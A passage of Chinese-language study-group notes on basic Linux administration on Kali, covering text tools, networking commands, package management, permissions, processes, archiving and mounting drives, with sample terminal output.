![image](https://hackmd.io/_uploads/H1qT0Plfyg.png) 反而普通的號碼不見了(汗),原因是有BUG,`886`國際碼必須出現3次,修改成0~3次: ![image](https://hackmd.io/_uploads/HyAmyOxfJe.png) OK了!接著我們加上開頭的`09`: ![image](https://hackmd.io/_uploads/Hyd9x_xMyx.png) Keep going!後面接著數字8碼,太多或太少都不行! `$`:表示以左邊的字元當作字串結尾,避免結尾盡頭外還有夾帶資料 * `.com$` 符合 `host@linux.com`,但不符合`host@linux.com.tw` 我們加個`$`,保險一點!Cheer(喜) ![image](https://hackmd.io/_uploads/Hyw6e_gMyg.png) 第二個案例,比較進階,來驗證該信箱是否符合格式(但不保證位址真實存在): `grep -E '^[0-9A-Za-z.-]+@[0-9A-Za-z.-]+\.[0-9A-Za-z.-]{2,}$' mail.txt` ![image](https://hackmd.io/_uploads/ByoIvPefkl.png) ### more * more:將大量字串逐頁顯示。 `less --help`顯示的幫助訊息太多了!我們使用`less --help | more`來一頁一頁看。 下一行 -> `Enter` 下一頁 -> `Space` 離開 -> `Q` 或 `Ctrl+C` `more +5 (file_name)`可以略過前五行,從第六行開始輸出 ### less * less ### 補充: * 關於 `echo -n` 的問題 ### sed * sed:修改字串。 將`world`改成`Linux`,結構:`s/[搜尋字串]/取代字串`: `echo 'Hello world!' | sed 's/world/Linux/'` ![image](https://hackmd.io/_uploads/SJomVdgf1g.png) 示範一個例子,既然我們都在台灣,其實可以把`phone.txt`中的手機國際碼去除,會用到多層pipeline: 先去除`(`(是跳脫字元,打回原形): ![image](https://hackmd.io/_uploads/Syq0Euxf1g.png) 然後一步到位XD,節省篇幅zzz: ![image](https://hackmd.io/_uploads/SkrQSugMyl.png) 但這樣太不專業了!試著使用`Regular Expression`: ![image](https://hackmd.io/_uploads/ByJVPOxMJe.png) 補充,其實可以更簡潔,但還是以最少的背法為佳: `{0,1}` -> `?` `{0,}` -> `*` `{1,}` -> `+` ![image](https://hackmd.io/_uploads/ryP7_uxG1g.png) ### tr * tr:操作字串,類似`sed`。 小寫轉大寫`echo "hello world" | tr 'a-z' 'A-Z'` ![image](https://hackmd.io/_uploads/rk73href1x.png) 刪除空格`echo "Apple Banana Cat" | tr -d ' '` ![image](https://hackmd.io/_uploads/rJgqaSefJg.png) 刪除**重複的**空格`echo "Apple Banana Cat" | tr -s ' '` ![image](https://hackmd.io/_uploads/Hk1Q6BgfJg.png) 刪除數字+重複空格+轉大寫 `echo "a 1 b 2 c 3 d" | tr -d '0-9' | tr -s ' ' | tr -s 'a-z' 'A-Z'` ![image](https://hackmd.io/_uploads/Bkr-0BlMJl.png) ## 🐧3 分析並管理網路 :::info * 導讀群:([Mark Tsai](https://www.facebook.com/mark.tsai.357)), Andrew * 日期/時間:11 月 26 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/VzGD3rKQv2o ::: > [name=Andrew] > 我覺得這章應該安插一點簡單的網路知識? > [name=Mark] > MAC address, netmask, broadcast, DHCP, DNS > [name=Andrew] > 我想像中的內容不是指很基礎的網路概論,OSI 七層之類的,而是常見的應用場域下所需理解的預備知識。例如想要架設一台 WiFi Cam 的時候,需要知道一些基礎的概念,像是網段、NAT,若涉及遠端管理,也會有相關的知識。 > > 也許可以從常見的使用場景中,檢視所需具備足夠的知識有哪些? > > 我現在能想到的一個好的切入點就是讓大家看自己家裡的那台路由器的設定頁面,然後帶大家看過路由器的設定項目有哪些?挑幾個重點項目稍微解釋那些設定是什麼意思。 > [name=Mark] 同意,我把家中路由器基本設定當案例分享 ### 基礎網路知識 * IPv4 [JanHo的網絡世界](https://www.jannet.hk/ip-address-version-4-ipv4-zh-hant/) * DHCP 負責動態分配 IP 位址 * DNS 網域名稱系統,它將人們可讀取的網域名稱 (例如,hackmd.io 轉換為機器可讀取的 IP 地址 (例如,99.83.179.177)。 * NAT (Network Address Translation) 外部IP位址轉換防火牆的內部IP位址 * NAT功能是把內部私有IP轉換成公有IP的協議,可以讓私有IP的電腦透過公有IP上網,但同一時間只能一台電腦上網。 * PAT功能是搭配NAT使用的技術,想必各位不會想上個WEB還要排隊吧,一張網卡一開始設計就有65536個port,PAT即是利用這些port讓公有IP可以更快速的週轉在私有IP的電腦。 例如當內部區網有100台電腦需要同時上網(EX web),此時我們只有一個公有IP要如何同時(正確來說是我們察覺不到延遲)達成這個目的,我們可以把公有IP+port分別對應(Mapping)到這100台電腦上直到需求完成為止。 * port forwarding 此功能可以說是pat的反向,pat是讓私有IP map到公有IP的port上,讓公有IP幫忙把資料拿回來,por forwarding則是把公有IP的port對應到私有IP上讓外部的設備可以訪問私有IP上的服務。 * what's public ip and private ip 大約在1980年代,人們很快意識到IP很快就會不夠用,事實上到了1990年代就開始不夠用,所以當時的就提出了 public ip 與 private ip,public ip即是Internet上可以訪問到的IP、private ip則為intarnet無法上網,但透過上述兩個協議(NAT、PAT)上網,此一設計讓IPv4延壽,並著手研議下一代協議IPv6,由於NAT+PAT的功用大大緩解了缺IP的問題,同時也讓IPv6可以有更多的時間去優化其協議(雪藏?)。 ### 路由器/分享器設定 以TP-Link Archer AX50為例 * TP-LINK 許多設備都提供模擬器 * 可以在線上預覽設定頁面 * 有助於在購買前知道設備提供甚麼功能 * ex: [Archer AX50](https://www.tp-link.com/tw/support/download/archer-ax50/#Emulators) * 網際地圖 ![image](https://hackmd.io/_uploads/SkqejXAl1x.png) * 網際網路連線:類型固定IP。IP位置,子網路遮罩,預設閘道,主要DNS ![image](https://hackmd.io/_uploads/rk0MjXAlyx.png) * 區域網路(LAN):IP位置,子網路遮罩 ![image](https://hackmd.io/_uploads/BJ2him0l1l.png) * DHCP伺服器:IP位置範圍,地址租用時間,預設閘道,保留指定IP位置 ![image](https://hackmd.io/_uploads/HyBPjXCe1l.png) * NAT導向:網路位址轉換,設定虛擬伺服器 ![image](https://hackmd.io/_uploads/By2eQQP-yg.png) * 無線網路:無線網路名稱(SSID),安全性,版本,加密,密碼 ### 指令 * ifconfig 網卡名稱 enp6s0: -> PCI bus 6, slot 0 enx9cebe8963226: -> USB Ethernet adapters + MAC address of the network interface (without colons) ```zsh ┌──(kali?kali-pi5)-[~] └─$ ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.104.151 netmask 255.255.255.0 broadcast 192.168.104.255 inet6 fe80::50b9:dde9:606b:1866 prefixlen 64 scopeid 0x20<link> ether d8:3a:dd:f1:de:ad txqueuelen 1000 (Ethernet) RX packets 401280 bytes 151318881 (144.3 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 129963 bytes 335472243 (319.9 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 105 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 6230 bytes 326462 (318.8 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 6230 bytes 326462 (318.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.104.150 netmask 255.255.255.0 broadcast 192.168.104.255 inet6 fe80::d38e:82c:5600:b5b8 prefixlen 64 scopeid 0x20<link> ether d8:3a:dd:f1:de:ae txqueuelen 1000 (Ethernet) RX packets 7683 bytes 1413032 (1.3 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 96 bytes 12146 (11.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ``` * ip addr * iwconfig ```zsh ┌──(kali㉿kali-pi5)-[~] └─$ iwconfig lo no wireless extensions. eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:"HKTsai" Mode:Managed Frequency:2.417 GHz Access Point: 28:EE:52:AF:0E:57 Bit Rate=24 Mb/s Tx-Power=31 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on Link Quality=68/70 Signal level=-42 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 ``` * dhclient 需要先-r清空IP ```zsh ┌──(kali㉿kali)-[~] └─$ sudo dhclient eth0 [sudo] password for kali: Error: ipv4: Address already assigned. ``` * dig ```zsh ┌──(kali㉿kali)-[~] └─$ dig hackmd.io ns -- 略 -- ;; QUESTION SECTION: ;hackmd.io. IN NS ;; ANSWER SECTION: hackmd.io. 1968 IN NS ns-1925.awsdns-48.co.uk. hackmd.io. 1968 IN NS ns-221.awsdns-27.com. hackmd.io. 1968 IN NS ns-845.awsdns-41.net. hackmd.io. 1968 IN NS ns-1444.awsdns-52.org. ;; ADDITIONAL SECTION: ns-221.awsdns-27.com. 53151 IN A 205.251.192.221 ns-845.awsdns-41.net. 53147 IN A 205.251.195.77 ns-1444.awsdns-52.org. 53299 IN A 205.251.197.164 -- 略 -- ┌──(kali㉿kali)-[~] └─$ dig hackmd.io mx -- 略 -- ;; QUESTION SECTION: ;hackmd.io. IN MX ;; ANSWER SECTION: hackmd.io. 60 IN MX 10 alt4.aspmx.l.google.com. hackmd.io. 60 IN MX 1 aspmx.l.google.com. hackmd.io. 60 IN MX 10 alt3.aspmx.l.google.com. hackmd.io. 60 IN MX 5 alt1.aspmx.l.google.com. hackmd.io. 60 IN MX 5 alt2.aspmx.l.google.com. -- 略 -- ``` * netstat ```zsh ┌──(kali㉿kali-x230)-[/mnt/share] └─$ netstat -atnp | grep ESTA (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 192.168.104.205:22 192.168.104.210:54960 ESTABLISHED - tcp6 0 0 192.168.104.205:80 49.217.56.72:30144 ESTABLISHED - ┌──(kali㉿kali-x230)-[/mnt/share] └─$ watch -d -n0 "netstat -atnp | grep ESTA" ``` * ss ```zsh ┌──(kali㉿kali-x230)-[/mnt/share] └─$ watch -n 1 ss state all sport = :80 ``` * traceroute ```zsh ┌──(kali㉿kali-pi5)-[~] └─$ traceroute google.com traceroute to google.com (142.250.198.78), 30 hops max, 60 byte packets 1 192.168.104.1 (192.168.104.1) 0.508 ms 0.722 ms 1.015 ms 2 192.168.11.254 (192.168.11.254) 5.870 ms 5.944 ms 6.012 ms 3 * * * 4 168-95-95-6.tyfo-3332.hinet.net (168.95.95.6) 6.026 ms 6.093 ms 6.163 ms 5 220-128-8-210.tyfo-3031.hinet.net (220.128.8.210) 6.237 ms 220-128-9-178.tyfo-3031.hinet.net (220.128.9.178) 6.304 ms 220-128-8-210.tyfo-3031.hinet.net (220.128.8.210) 6.369 ms 6 220-128-9-13.tyfo-3335.hinet.net (220.128.9.13) 6.451 ms 220-128-9-17.tyfo-3335.hinet.net (220.128.9.17) 1.988 ms 220-128-9-185.tyfo-3335.hinet.net (220.128.9.185) 4.632 ms 7 72.14.209.178 (72.14.209.178) 4.701 ms 142.250.169.120 (142.250.169.120) 4.777 ms 4.854 ms 8 * * * 9 lctsaa-ab-in-f14.1e100.net (142.250.198.78) 4.885 ms 4.996 ms 142.251.77.84 (142.251.77.84) 6.606 ms ``` traceroute (windows下是 tracert) 此指令是用於查看本機電腦到達服務端所走的設備路徑,也就是指所經過的route ip(Gateway) * lynx * 文字介面下的 WWW 瀏覽器 * [w3m](https://zh-tw.ubunlog.com/w3m-un-navegador-web-ligero-basado-en-texto-para-la-terminal/) 也是一種 text-based web browser (智瑋溫提供) * wget * `-O, --output-document=FILE` write documents to FILE * `-c, --continue` resume getting a partially-downloaded file * `-q, --quiet` quiet (no output) * "To connect to xxx.xxx.xxx insecurely, use ‘--no-check-certificate’." * lab: download MagPi, AI slides... * curl * `-o, --output <file>` Write to file instead of stdout * `-X, --request <method>` ```zsh= $ curl -X GET $ curl -X POST $ curl -X PUT $ curl -X DELETE ``` * `-H, --header <header/@file>` * `-s, --silent` Silent mode * lab: * https://openapi.twse.com.tw/ * https://notify-bot.line.me/ ### 設定檔 * /etc/resolv.conf * /etc/hosts 本機domain name mapping ### 分析及網路管理 回家作業 1. 找出你作用中網路介面卡的相關資訊。 2. 將 eth0 的 IP 位址改為 192.168.1.1。 3. 改變 eth0 的硬體位址。 4. 查看你的系統是否有任何的無線網路介面卡。 5. 將你的 IP 位址重設成 DHCP 自動分配的位址。 6. 找出你最愛網站的域名與郵件伺服器。 7. 將 Google 的 DNS 伺服器添加至你的 /etc/resolv.conf 檔案中,讓你的系統在本地 DNS 伺服器無法解析域名時,能轉向使用該伺服器。 ## 🐧4 新增與移除軟體 :::info * 導讀群:[YIRU WANG](https://www.facebook.com/yiru.wang.733), Andrew * 日期/時間:12 月 3 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/YCrDVnozdjw ::: * apt * 更新軟體庫 `sudo apt update` * 搜尋軟體套件 `apt search <keyword>` 試著搜尋snort或是搜尋其他的軟體套件 `sudo apt search snort` * 安裝軟體 `sudo apt install <pkg_name>` 試著安裝snort或是安裝其他的軟體套件 `sudo apt install snort` * 移除軟體 `sudo apt remove <pkg_name>` 試著移除snort或是移除其他的軟體套件 `sudo apt remove snort` 使用purge可以將設定組態檔一併移除 `sudo apt purge <pkg_name>` * 更新軟體套件 `sudo apt upgrade` 試著更新軟體套件 `sudo apt upgrade ` * sources.list * 軟體庫來源。可以自行加入手動軟體庫來源,但要注意避免加到有問題的軟體庫。 * 使用文字編輯軟體至路徑:/etc/apt/sources.list編輯檔案。 ![截圖 2024-12-02 下午10.48.42](https://hackmd.io/_uploads/B1vxtBjX1l.png) * source.list格式 ![截圖 2024-12-02 下午10.55.38](https://hackmd.io/_uploads/Bk0i5BoQ1l.png) * Archive:檔案來源。 * Mirror:應該使用[http://http.kali.org/kali](http://http.kali.org/kali)鏡像網址,會導向最佳的鏡像。 * Branch:希望kali使用的版本。 * Components:想要使用的軟體包,軟體包是基於 Debian Free Software Guidelines (Debian自由軟體指導方針,DFSG)。kali預設默認。 * GUI軟件管理員 * 安裝Synaptic * git * github是可以讓使用者下載開源軟體的平台。使用者不須依賴軟體庫。 * 指令:git clone <軟體github網址> * 試試看 * 根據 [官方文件安裝 docker](https://docs.docker.com/engine/install/debian/) * 用 git 下載並編譯、執行 [nyancat](https://github.com/klange/nyancat) * 使用 apt 安裝這些套件來玩看看 * sl * ninvaders * bastet * hollywood * cowsay * fortune * lolcat ## 🩹$4(\dfrac{1}{2})$ 補充 - Snap & AppImage :::info * 導讀群:[曾文治](https://www.facebook.com/pinionax)(小樹) * 日期/時間: 12 月 10 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/vjzfQ1Qwoz8 ::: > [name=Andrew] > 下週前半由小樹分享 `Snap管理系統` 以及 `AppImage` * Snap * snap、apt(apt-get為舊版的apt)比較: | 指令比較 | snap | apt | | ---------------- | ---------------------------------------------------------------------- | ---------------------------- | | 套件版本 | 主要包含高階、==獨立==和==最新==版本的套件 | 套件==較舊==卻相較==穩定==跟全面 | | 依賴檔案相容處理 | 將應用程式與依賴套件合併在一個獨立的snap包,以解決依賴檔案的相容問題 | 需要手動處理依賴套件的相容性 | | 套件更新 | 提供自動更新 | 需手動執行update和upgrade | | 系統安全性 | 在==沙盒==中執行,如果某個套件發生故障,只會影響該套件 | 安裝套件故障會影響整個系統 | * 基本上,**Snap操作方式與Apt相同**(新版Ubuntu已預安裝Snap),但偶爾會有更新失敗情形;請以下列方式更新(snap-store update): ```zsh= killall snap-store sudo snap refresh [snap-store] ``` * 查看[Flameshot](https://flameshot.org/#download)及[Obsidian](https://obsidian.md/download)所列套件管理方式 * dpkg與tar.gz操作示範 * dpkg使用:dpkg是透過.deb檔案將套件安裝至系統上的,apt則是將dpkg再包一層的套件管理系統。 | 指令 | 用途 | |:----------------------:| -------- | | dpkg -i {FILE_NAME} | 安裝套件 | | dpkg -r {PACKAGE_NAME} | 移除套件 | * tar.gz(**打包**且**壓縮**) * 解壓縮: `tar -zxvf File.tar.gz` * 壓 縮: `tar -zcvf File.tar.gz DirName` * 編譯與安裝: (通常有**安裝文件**) ```zsh= ./configure make make install ``` * 操作示範:[Discord](https://discord.com/)(先行下載.deb及.tar.gz) * dpkg操作示範: ```zsh= # 安裝Discord dpkg -i ./discord-0.0.76.deb # 移除Discord dpkg -r discord ``` * tar.gz操作示範:(本例**無須編譯**) ```zsh= # 解壓縮 tar -zxvf ./discord-0.0.76.tar.gz # 直接進入目錄內執行 cd Discord ./Discord ``` * AppImage * AppImage前身是PortableLinuxApps與klik,主打可攜式軟體發布方法,也就是Windows裡常見的"Portable"概念;其優點如下:無需安裝、跨發行版、無須權限、包裝方便.... * 操作示範:[Audacity](https://www.audacityteam.org/)(先行下載AppImage) * 更改權限:`sudo chmod a+x ./audacity-linux-3.7.0-x64-20.04.AppImage` * 直接執行:`./audacity-linux-3.7.0-x64-20.04.AppImage` ## 🐧5 管理檔案與目錄權限 :::info * 導讀群:[曾文治](https://www.facebook.com/pinionax)(小樹) * 日期/時間: 12 月 10 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/vjzfQ1Qwoz8 ::: * 帳戶管理檔案 * 帳戶檔案(/etc/passwd) ![帳戶檔案](https://hackmd.io/_uploads/HkSnY1Q4Jx.png) * 群組檔案(/etc/group) ![群組檔案](https://hackmd.io/_uploads/Skk6F1Q4kg.png) * 密碼隱藏檔(/etc/shadow、etc/gshadow):儲存加密或雜湊演算後的密碼(略)。 * 新增、刪除使用者 ```zsh= # 新增使用者 useradd -m UserName (同時新增家目錄) useradd -g GroupName UserName (同時指定主群組) useradd -G GroupName UserName (同時指定副群組) # 刪除使用者 userdel –r UserName (連同家目錄一併刪除) # 設定密碼 passwd UserName ``` * 設定使用者密碼 ```zsh= passwd UserName ``` * 新增、刪除群組 ```zsh= # 新增群組 groupadd GroupName # 刪除群組 groupdel GroupName ``` * 修改所屬群組 ```zsh= # 修改主群組(唯一) usermod -g GroupName UserName # 修改副群組(零至多個) usermod -aG GroupName UserName ``` * 查詢使用者資訊 ```zsh= id [查詢使用者UID、GID及所屬群組] ``` --- * 檢視權限 ```zsh= # 試著執行以下程式 (雜湊密碼破解工具) ls -l /usr/share/hashcat ``` ![檢視權限](https://hackmd.io/_uploads/BkYXYvlNkx.png) 1. 檔案類型(-為**檔案**,d為**目錄**,1為**連結**) 2. 依序分別為**擁有者**(ower)、**群組**(group)、**其他**(other)的權限(3個為1組);存取權限如下: * 可**讀取**(r, Readable),數字用4表示 * 可**寫入**(w, Writable),數字用2表示 * 可**執行**(x, eXecute),數字用1表示 * 無權限(-),數字用0表示 3. 連結數(超出本書範圍) 4. 檔案**擁有者**及所屬**群組** 5. 檔案大小(byte) 6. 檔案**建立**或最後**修改**時間 7. 檔案名稱 * 修改檔案的擁有者[及所屬群組](change owner) ```zsh= chown Owner[:Group] FileName ``` * 修改檔案的所屬群組(change group) ```zsh= chgrp Group FileName ``` * 修改存取權限(change mode) ```zsh= # 數字法(3組rwx分別相加) chmod 777 FileName # 符號法(UGOA語法) chmod ugoa+-(=)rwx FileName ``` * 權限遮罩(預設權限) ![權限遮罩](https://hackmd.io/_uploads/r1wDkOeVkl.png) * Linux通常會自動為檔案和目錄分別配置666與777的基本權限,可以利用umask來修改檔案或目錄建立時系統配置的預設權限。 * 原始權限減去umask即可決定新的權限狀態(如上圖,可對/home/UserName/.profile進行修改)。 * 特殊權限(ugo以外的第4種權限,與系統程序有關) * 觀查以下指令執行結果: ```zsh= ls -ld /tmp ls -l /usr/bin/passwd ls -l /usr/bin/locate (ll /etc/alternatives/locate) # 多出了s及t,Why??? ``` * SUID(Set UID):s出現在擁有者(owner)的x權限上。 * 僅對二進位程式(檔案)有效(使用者須具備x權限),在執行過程將具有擁有者(owner)權限。 * SGID(Set GID):s出現在群組(group)的x權限上。 * 對於二進位程式(檔案,使用者須具備x權限),在執行過程具有群組(group)權限。 * 對於目錄(使用者須具備r,w,x權限),使用者所建立檔案的群組權限將與此目錄的群組權限相同。 * SBIT(Sticky bit):t出現在其他(other)的x權限上。 * 僅對目錄有效(使用者須具備w,x權限),使用者所建立的檔案或目錄,僅使用者或root有權刪除。 --- * 設定方式 ```zsh= # 數字法(在uog之前再加1個數字,為特殊權限相加結果) chmod 4755 FileName # SUID:4 / SGID:2 / SBIT:1 # 符號法 chmod ugo+st FileName # SUID:u+s / SGID:g+s / SBIT:o+t ``` * 若出現大寫的S,T時,代表為空(沒有x權限) * 管理員權限 * su(switch user) ```zsh= # 切換使用者 su UserName # 切換為root(不安全) su [-] (參數"-"為完整shell環境) ``` * sudo(Super User DO):Ubuntu、macOS已內建,其他發行版則須另外安裝。優點:1.五分鐘後強制登出;2.限定特定使用者(sudoer)。 ```zsh= # 以管理者權限執行指令 sudo CommandName # 切換為root(等同"su -") sudo -i ``` * visudo:用vi(或nano)開啟和修改sudoer列表檔(/etc/sudoers)。 ```zsh= sudo visudo # 或(等同以下操作) sudo vi(nano) /etc/sudoers ``` 觀察/etc/sudoers內容 ```zsh= # 開啟/etc/sudoers,並找到以下字段 root ALL=(ALL:ALL) ALL # 格式說明:User帳號 來源主機名稱=(可切換使用者) 執行指令 # 若為群組,須將 User帳號 改為 %Group名稱 ``` 查看/etc/group內容,sudo的成員有哪些? ## 🐧6 程序管理 :::info * 導讀群:(Andrew) * 日期/時間:12 月 17 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/CVcWKILh8TE ::: * **ps** `ps aux` 指令會顯示系統中所有運行中的程序(process)。每個欄位的意義如下: 1. **USER** - 啟動該程序的使用者名稱。 2. **PID** - 程序的唯一識別碼(Process ID)。 3. **%CPU** - 該程序所佔用的 CPU 使用百分比。 4. **%MEM** - 該程序所佔用的記憶體(RAM)百分比。 5. **VSZ** - 該程序佔用的虛擬記憶體大小(單位:KB)。 6. **RSS** - 該程序實際佔用的實體記憶體大小(單位:KB)。 7. **TTY** - 與該程序相關聯的終端機(Terminal): - `?` 表示該程序不與任何終端機綁定,通常是背景程序(daemon)。 - `tty1`、`pts/0` 等表示特定的終端機或虛擬終端。 8. **STAT** 該程序目前的狀態: - `S`:休眠狀態(Sleep)。 - `R`:正在運行(Running)。 - `D`:不可中斷的休眠狀態(例如 I/O 等待)。 - `T`:已停止(Stopped)。 - `Z`:殭屍程序(Zombie process)。 - `I`:閒置狀態。 - `W`:換頁(Paging)。 - `<`:高優先權的程序。 - `N`:低優先權的程序。 - `s`:該程序是進程組的主程序(Session leader)。 - `l`:多執行緒程序。 - `+`:前台程序(在具有終端控制的會話中)。 9. **START** - 該程序啟動的時間。 10. **TIME** - 該程序所佔用的 CPU 時間。 11. **COMMAND** - 啟動該程序所用的命令或程序名稱。 * **kill** * `kill -9 PID` * **fg** * top / htop * nice * renice * at * 非常少用,最常用的是 ch16 提到的 cron ## 🐧7 管理使用者環境變數 :::info * 導讀群: * 日期/時間:1 月 7 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/trg53v_ksbk ::: * env * set * export * PS1 * PATH * unset ## 🩹$7(\dfrac{1}{2})$ 補充 - 文字編輯器 :::info * 導讀群: * 日期/時間:1 月 7 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/trg53v_ksbk?t=2708 ::: * **nano** * neovim * **vim** * i * yy -> p * cc * v * `:wq` * `:q!` * `/` search * g-d ![Snipaste_2025-01-07_21-11-56](https://hackmd.io/_uploads/SJ-BOs9LJl.png) ## 🐧9 壓縮與打包檔案 :::info * 導讀群:[曾文治](https://www.facebook.com/pinionax)(小樹) * 日期/時間:1 月 14 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/1VGlAB1gB_8 ::: * 基本觀念: * Windows的壓縮軟體可以直接執行打包、壓縮、分割、加密等任務(一次滿足四個願望),但在Linux則完全不適用,除了得分開執行外,每次僅能針對一個檔案壓縮(壓縮後原始檔案將不復存在)。 * 一般壓縮程序:打包完成後,再進行壓縮;但亦可用打包軟體一步到位(兼具壓縮)。 * 壓縮技術區分失真(Lossy)與無失真(Lossless)兩類;壓縮比率(壓縮後/壓縮前)愈低(好),執行時間愈多。 * compress(已退流行--無法使用?!) * ```compress FileName``` * ```uncompress FileName.Z``` * ```zcat FileName.Z``` (純文字內容) * gzip(compress進階版) * ```gzip [-dv] FileName``` * 參數說明:d解壓縮、v(verbose)顯示檔案資訊。 * ```gunzip FileName.gz``` * ```zcat FileName.gz``` (指令通用) * bzip2(取代gzip) * ```bzip2 FileName``` * 參數說明:d解壓縮、v(verbose)顯示檔案資訊。 * ```bunzip2 FileName.bz2``` * ```bzcat FileName.bz2``` * tar(tape archive) * tarfile(僅打包-產生overhead) * ```tar -c[tx]vf FileName.tar 來源檔案或目錄``` * 參數說明:c建立檔案[t顯示內容、x解開檔案]、v(verbose)列出檔案(非必選)、f打包檔名(須緊接檔名),後方為欲打包檔案(原始檔案保留)。 * tarball(含壓縮) * gzip(.tar.gz / .tgz) - 加上參數z * EX: ```tar -zcvf FileName.tar.gz 來源檔案或目錄``` * bzip2(.tar.bz2 / .tbz, .tbz2, .tb2) - 加上參數j * EX: ```tar -jxvf FileName.tar.gz -C 欲解壓縮目錄``` * dd(磁碟備份) * ```dd if=InputFile of=OutputFile [bs=BlockSize count=Number conv:noerror]``` * ```stat -f .``` (查看裝置的Block大小) * 實體(物理)備份 V.S 邏輯備份 -> 位元串流拷貝(Bit Stream Copy, EX: ISO映像檔) * 資料還原 V.S 磁碟抹除 * Sector(磁區) V.S Cluster(磁簇) * file(查看檔案類型) * ```file FileName``` * 因為Linux的副檔名無特殊意義,故可用file指令來判別打包及壓縮檔案。 ## 🐧10 管理檔案系統與儲存裝置 :::info * 導讀群:(Andrew Lin) * 日期/時間:OO 月 OO 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://www.youtube.com/watch?v=OwqkTHmg0MU ::: > [name=Andrew] 可準備一支隨身碟練習掛載 注意: 使用 VM 時,需要先將 USB「接入」VM 環境 ![Snipaste_2025-02-03_18-48-38](https://hackmd.io/_uploads/rJBSyXRO1e.png) * /dev ``` ┌──(kali㉿kali)-[~] └─$ ls -l /dev/sd* brw-rw---- 1 root disk 8, 0 Feb 3 05:37 /dev/sda brw-rw---- 1 root disk 8, 1 Feb 3 05:37 /dev/sda1 brw-rw---- 1 root disk 8, 16 Feb 3 05:37 /dev/sdb brw-rw---- 1 root disk 8, 17 Feb 3 05:37 /dev/sdb1 ``` * lsusb ``` ┌──(kali㉿kali)-[~] └─$ lsusb Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 002: ID 80ee:0021 VirtualBox USB Tablet Bus 001 Device 003: ID 1307:016![Uploading file..._pimioqduo]() 3 Transcend Information, Inc. 256MB/512MB/1GB Flash Drive Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub ``` * fdisk ``` ┌──(kali㉿kali)-[~] └─$ sudo fdisk -l Disk /dev/sda: 80.09 GiB, 86000000000 bytes, 167968750 sectors Disk model: VBOX HARDDISK Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xff8eb69a Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 167968749 167966702 80.1G 83 Linux GPT PMBR size mismatch (1286143 != 2015230) will be corrected by write. Disk /dev/sdb: 984 MiB, 1031798272 bytes, 2015231 sectors Disk model: TS1GJFV60 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 89F5C90D-5E94-40F6-8230-45695FF8075E Device Start End Sectors Size Type /dev/sdb1 128 2011263 2011136 982M Microsoft basic data ``` * mount * umount ``` ┌──(kali㉿kali)-[/mnt] └─$ mount | grep 'dev/sd' /dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro) ┌──(kali㉿kali)-[/mnt] └─$ sudo mount /dev/sdb1 /media/kali/usb ┌──(kali㉿kali)-[/mnt] └─$ mount | grep 'dev/sd' /dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro) /dev/sdb1 on /media/kali/usb type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=mixed,utf8,errors=remount-ro) ┌──(kali㉿kali)-[/mnt] └─$ ls -al /media/kali/usb total 84004 drwxr-xr-x 3 root root 4096 Dec 31 1969 . drwxr-x---+ 3 root root 4096 Feb 3 05:42 .. -rwxr-xr-x 1 root root 227395 Jun 24 2024 2024-06-24_臺北市立美術館_114年申請展評選結果_媒體圖說.pdf -rwxr-xr-x 1 root root 1400705 Oct 2 21:10 240930_酷殘陣線_現場展示輸出.pdf -rwxr-xr-x 1 root root 354 Dec 6 2023 cmd.txt -rwxr-xr-x 1 root root 42574380 Dec 1 2023 pexels-1080p.mp4 drwxr-xr-x 2 root root 4096 Jul 23 2024 'System Volume Information' -rwxr-xr-x 1 root root 2543 Dec 23 2023 'Windows 11 隱私與安全設定.txt' -rwxr-xr-x 1 root root 1256114 Sep 27 2023 '藝術家李紫彤於倫敦戴芬娜基金會駐村期間舉辦工作坊_歐洲 _ 僑務電子報.pdf' -rwxr-xr-x 1 root root 